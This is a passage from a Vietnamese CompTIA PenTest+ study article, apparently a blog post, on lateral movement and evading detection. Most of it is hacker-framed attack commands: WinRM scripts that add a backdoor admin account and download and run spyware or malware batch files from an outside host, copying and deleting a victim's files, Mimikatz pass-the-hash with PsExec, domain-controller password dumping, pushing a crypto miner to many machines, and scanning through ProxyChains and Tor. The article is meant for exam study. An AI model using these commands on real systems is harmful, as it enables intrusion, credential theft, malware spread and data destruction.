Lệnh trên sẽ tạo ra một Ncat server lắng nghe trên cổng 8080, chuyển tiếp tất cả lưu lượng đến hackthissite.org cổng 80. Nạn nhân khi truy cập vào 192.168.1.100:8080 sẽ nghĩ là đang nói chuyện trực tiếp với hackthissite.org, không biết có kẻ đang nghe lén ở giữa. 5. Cung cấp quản lý từ xa với WinRM - WinRM được cài đặt sẵn trong Windows và có thể truy cập qua dòng lệnh hoặc PowerShell. - Để kích hoạt dịch vụ này, chạy lệnh `c:\users> winrm quickconfig` + Điều này sẽ tạo các ngoại lệ tường lửa và khởi động dịch vụ. - Sau khi cấu hình ban đầu trên cả hai hệ thống, bạn có thể truy cập vào hệ thống từ xa. - Khi đã kết nối, có thể thực hiện các lệnh để quản lý và giám sát máy khách/máy chủ. Ví dụ: Sau khi lây nhiễm được mã độc vào một máy trạm Windows thông qua email đính kèm, hacker sử dụng WinRM để: - Kích hoạt WinRM và mở cổng 5985, 5986 từ xa qua mã PowerShell
Enable-PSRemoting -Force
- Kết nối vào máy từ xa, thực thi lệnh với quyền admin
$cred = Get-Credential
Enter-PSSession -ComputerName 192.168.1.66 -Credential $cred
- Nâng cao đặc quyền, cài đặt phần mềm gián điệp, keylogger...
Invoke-Command -ComputerName 192.168.1.66 -ScriptBlock {
net user hacker Str0ngPass! /add
net localgroup administrators hacker /add
Invoke-WebRequest http://comptia.academy/spyware.exe -OutFile spyware.exe
./spyware.exe
}
- Tải về dữ liệu từ xa và xóa dấu vết:
Copy-Item C:\Users\victim\secret -Destination C:\share -ToSession $s
Remove-Item C:\Users\victim\secret -Recurse
Hacker cũng có thể dùng WinRM để quét mạng nội bộ, tìm các máy tính khác dễ bị tấn công và lây lan mã độc:
$cred = Get-Credential
$computers = Get-Content -Path C:\targets.txt
Invoke-Command -ComputerName $computers -ScriptBlock {
Invoke-WebRequest http://comptia.academy/malware.bat -OutFile $env:temp\malware.bat
Invoke-Expression $env:temp\malware.bat
} -Credential $cred
6. Quản lý từ xa với PsExec - PsExec là một chương trình nhỏ gọn nằm trong bộ công cụ Sysinternals cung cấp khả năng tương tác cho các chương trình dòng lệnh. - Sử dụng SMB để thực hiện các lệnh từ một hệ thống từ xa mà không cần cài đặt thủ công phần mềm máy khách. - Có thể được sử dụng cùng với Mimikatz để cho phép kẻ tấn công di chuyển ngang trong hệ thống và đưa ra các lệnh. + `PsExec \\192.168.1.50 -s "C:\bad-app.exe"` Ví dụ: Sau khi lấy được hash mật khẩu NTLM của một quản trị viên tên Admin1, hacker sử dụng PsExec kết hợp Mimikatz để truy cập và khai thác các máy chủ khác: - Sử dụng Pass-the-Hash để mạo danh Admin1 và thực thi PsExec từ xa:
mimikatz # sekurlsa::pth /user:Admin1 /domain:comptia.academy /ntlm:8gr64hnk95…
PsExec.exe \dc01.comptia.academy cmd
- Trên bộ điều khiển miền dc01, dump lại mật khẩu dạng văn bản:
mimikatz # sekurlsa::logonpasswords
- Phát tán mã độc đào tiền ảo lên 100 máy trạm:
PsExec.exe @C:\computers.txt -u Admin1 -p SuperPass123! -s -f -c C:\malware.exe
- Tạo tài khoản có đặc quyền trên toàn bộ máy chủ:
PsExec.exe \dc01 net user Hacker123 P@ssw0rd! /add
PsExec.exe \dc01 net localgroup administrators Hacker123 /add
PsExec.exe @C:\servers.txt net localgroup administrators Hacker123 /add
7. Sử dụng proxy - Proxy là máy chủ trung gian dùng để chuyển tiếp các giao tiếp giữa máy khách và máy chủ khác. - Có thể lọc và thường xuyên chỉnh sửa thông tin liên lạc, cũng như cung cấp dịch vụ lưu trữ để cải thiện hiệu suất. - Kẻ tấn công cũng có thể sử dụng proxy để che giấu vị trí của chúng. + Gọi là ProxyChaining, điều này cung cấp một lớp bảo vệ bổ sung bằng cách buộc một kết nối TCP cụ thể để các trang web không nhìn thấy địa chỉ IP thực của bạn. Ví dụ: Hacker sử dụng ProxyChains để ẩn địa chỉ IP thực khi tấn công comptia.academy: - Định cấu hình ProxyChains sử dụng nhiều proxy như sau:
nano /etc/proxychains.conf
dynamic_chain
chain_len = 3
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks4 192.168.67.78 1080
socks5 192.168.89.12 1080
http 192.168.1.49 8080
- Chạy công cụ thăm dò/khai thác qua ProxyChains:
proxychains nmap -sT -Pn -p 80,443 comptia.academy
proxychains sqlmap -u http://comptia.academy/view.php?id=1 -dbs
- Mỗi lệnh sẽ được thực thi qua chuỗi các proxy socks4, socks5 và http - Máy chủ web sẽ chỉ thấy IP của proxy cuối cùng thay vì địa chỉ thực của hacker - Gói tin giữa mỗi proxy cũng được mã hóa, khó bị nghe lén 8. Sử dụng ProxyChains4 với Tor - ProxyChains4 là công cụ dòng lệnh cho phép các chuyên gia PenTest che giấu địa chỉ IP nguồn + Gửi tin nhắn thông qua các máy chủ trung gian hoặc proxy. - Để ẩn danh trong quá trình quét cổng, có thể sử dụng Tor thông qua ProxyChains4 + Lưu lượng được gửi qua một đường hầm cụ thể + Việc mã hóa lưu lượng sẽ che giấu nội dung của các gói tin. Ví dụ: Hacker muốn quét mạng của comptia.academy qua ProxyChains và Tor để không bị phát hiện: - Chỉnh sửa cấu hình ProxyChains4 để sử dụng mạng Tor với cổng mặc định 9050
nano /etc/proxychains4.conf
[ProxyList]
socks4 127.0.0.1 9050
- Khởi động dịch vụ Tor
service tor start
- Quét qua ProxyChains4 kết hợp Tor
proxychains4 -q nmap –script vuln -sV -p80,443,8080 comptia.academy
“`
- Các gói quét sẽ được mã hóa và gửi qua ít nhất 3 node của mạng Tor trước khi đến đích
- Máy chủ web của comptia sẽ thấy địa chỉ của exit node cuối cùng thay vì hacker
- Do mã hóa nhiều lớp, rất khó để truy vết ngược về thủ phạm
- Kết hợp Tor với các công cụ ẩn danh khác như Whonix, Tails sẽ cho khả năng giấu tên tối đa
Lời khuyên:
Qua bài này, có thể thấy các kỹ thuật ẩn dấu dấu vết là một phần quan trọng của quy trình pentest cũng như trong các cuộc tấn công thực. Chúng giúp che giấu hành động xâm nhập, trì hoãn thời gian phát hiện và xóa bằng chứng nhằm tối đa hóa thiệt hại cho nạn nhân.
Để trở thành một chuyên gia an ninh mạng, bên cạnh các kiến thức nền tảng về hệ thống và công nghệ, bạn cũng cần thực hành kỹ năng tấn công để nắm rõ cách thức hoạt động của hacker. Qua đó có thể đánh giá và cải tiến an ninh cho tổ chức một cách toàn diện.
Việc trang bị các chứng chỉ pentest uy tín như CompTIA PenTest+, CEH, OSCP sẽ giúp các ứng viên có lợi thế cạnh tranh và mở ra nhiều cơ hội nghề nghiệp hấp dẫn trong ngành an ninh mạng.
Ngoài việc đào tạo chính thống, bạn có thể tự học thông qua các khóa học online chất lượng như:
- CompTIA PenTest+ tại website CompTIA.edu.vn của CompTIA Vietnam
- CEHv11, CPENT, OSCP trên cổng đào tạo an toàn thông tin trực tuyến Security365.vn
- Bộ tài liệu CertMaster như Learn, Labs, Practice của CompTIA trên CompTIA.academy
- Sử dụng mã giảm giá COMPTIA-VIETNAM để nhận ưu đãi 5%
Chỉ với chi phí hợp lý nhưng chất lượng tương đương, những giải pháp này sẽ giúp bạn chủ động học tập mọi lúc mọi nơi, nâng cao kiến thức và kỹ năng cần thiết để chinh phục các kỳ thi và dự án an ninh mạng.
Trình bày bởi : Vinh Nguyen Trần Tường
Tài liệu hỗ trợ học tập và ôn thi Chứng Chỉ Quốc Tế CompTIA Pentest +
Chú ý : Các ví dụ chỉ là giả định cho dễ hiểu, không phải là tình huống thực tế.
Để lại một bình luận